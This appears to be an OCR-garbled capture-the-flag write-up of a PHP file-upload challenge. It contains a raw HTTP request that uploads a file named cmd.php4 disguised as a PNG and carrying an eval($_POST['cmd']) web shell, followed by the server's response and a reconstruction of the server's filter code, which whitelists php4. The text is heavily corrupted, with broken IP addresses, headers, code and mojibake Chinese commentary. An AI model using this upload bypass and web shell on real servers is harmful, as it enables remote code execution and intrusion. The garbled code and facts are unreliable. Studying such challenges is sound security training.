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FOST /index.php HTTE/Ll.1

Host: 114.67.24€.17€:11280

User—Agent: Mozilla/5.0 (Windows NT 10.0;
Gecko/20100101 Firefox/84.0

Aceepr:

text/html,application/xhtml+xml, applicacion/xml;q=0.9, image/wehp, */*; q=0.8
Accept-Language:

zh-CH, zh; g=0.8, zh-TW; g=0.7, zh-HE; g=0.5,en-U3; g=0.3, en; g=0.2
Aoccept-Encoding: gzip, deflate

Content-Types: Multipart/form-data;

Wingd; =64; rv:84.0)

boundary= ZS059379€58254179€ 1561282923531
Content-Length: 396
Origin: htop://1l4.€7.246.L176:11280

Connection: keep-aliwve

Referer: http://Ll14.€7.24€.17€:11280/
Cookie: td_cookie=IZ414676I28€6
Upgrade-Insecure-Regquests: 1

Z89093796582941796156128292353 1]
Content-Disposition: form-data: nams="fils"; filenames="cmd.phpd™
Content-Type: image/png

<script language=php>echo 'a';ewval (§_POST['cmd']):</script>
Z809379€58294179€ 1561282923531
name="submic"

Content-Disposition: form-data;

Submit
2O09370E58294 1796 156128202353 1—
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Date: Thu, 24 Dec Z0Z0 0£:24:39 GUT
Server: Apache/2.4.7 (Ubuntu
¥-Powered-By: PHP/5.5.9-lubuntu4.é&
Vary: Accept-Encoding
Content-Length: 389

Connection: close

Content-Type: text/html

<html>

<hbody>

<form action="index.php" method="post" enctype="multipart/form-data™>
My name is margin,give me a image file not a php<br>

<hr>

<input type="file" name="file" id="file" /»

<input type="submit" nams="submit" wvalus="Submit" />

</ forms>

Upload Success<br>5Stored in: <a href='uploadfbugku24062439_3423.php4
target='_blank'>uploadfhuqku24062439_3423.php4<br fE=</bodys
</html>
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"flag{test}"

form action

My name is margin,give me a image file not a php<br

br

input type="file" name="file" id="file"

input type="submit" name="submit" value="Submit"
form

function global filter(){
["CONTENT TYPE"];
,"multipart/form-data™)
substr(
strtolower( )
,'php™) False){
die("Invalid File<br />");
}

False){

["file"]["name"], strrpos(

if (strpos(

if (stripos(

1
J

1
J

global filter();

if ((stripos( ["file"]["type"], 'image") False)
0){

["file"]["name"], strrpos(

["file"]["error"
substr(

strtolower( );

HERENRE, XAEED, BEROOBICET TR, FHFINTHEDS

"index.php" method="post" enctype="multipart/form-data"

["file"]["name"],

["file"]["size"] < 10*1024*1024)){

["file"]["name"], "."')+1);

array('jpg','gif', 'jpeg', 'bmp", 'phpd");




die("give me a image file not a php");

¥
["file"]["name"]="bugku".date('dHis")."_".rand(1000,9999).".".

if (file_exists("upload/" . ["file"]["name"])){
echo ["file"]["name"] . " already exists. <br />";
b
else{
if (!file_exists('./upload/"')){
mkdir ("./upload/");
system("chmod 777 /var/www/html/upload");
b
move_uploaded_file( ["file"]["tmp_name" ], "upload/" . ["file"]["name"]);
echo "Upload Success<br>";
"upload/" . ["file"]["name"];
B . "' target='_blank'>" . . "<br />";

echo "Stored in: ."< a href=

["file"]["size"] 0){
echo "You was catched! :) <br />";

FEEXED

function global filter(){
["CONTENT TYPE"];
if (strpos( ,"multipart/form-data™) False){
substr( ["file"]["name"], strrpos( ["file"]["name"], "."')+1);
strtolower( )
if (stripos( ,"php") False){
die("Invalid File<br />");

X BB multipart/form-data F Tstrpos, iZHEX 5 K/NE, FrbAH Multipart/form-data FIEHIRE T, XSS E
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if ((stripos( ["file"]["type"], 'image") False) ["file"]["size"] 10%1024%1024)){
["file"]["error"] 0){
substr( ["file"]["name"], strrpos( ["file"]["name"], '.')+1);
strtolower( );
array('jpg’, 'gif’, "jpeg’, ‘bmp’, "phpa");
if(!in_array( 5 A
die("give me a image file not a php");

REZETAAAE, RFTAphpdttik, REEMphpd I REE KR T, RARNXEBRELTLY.
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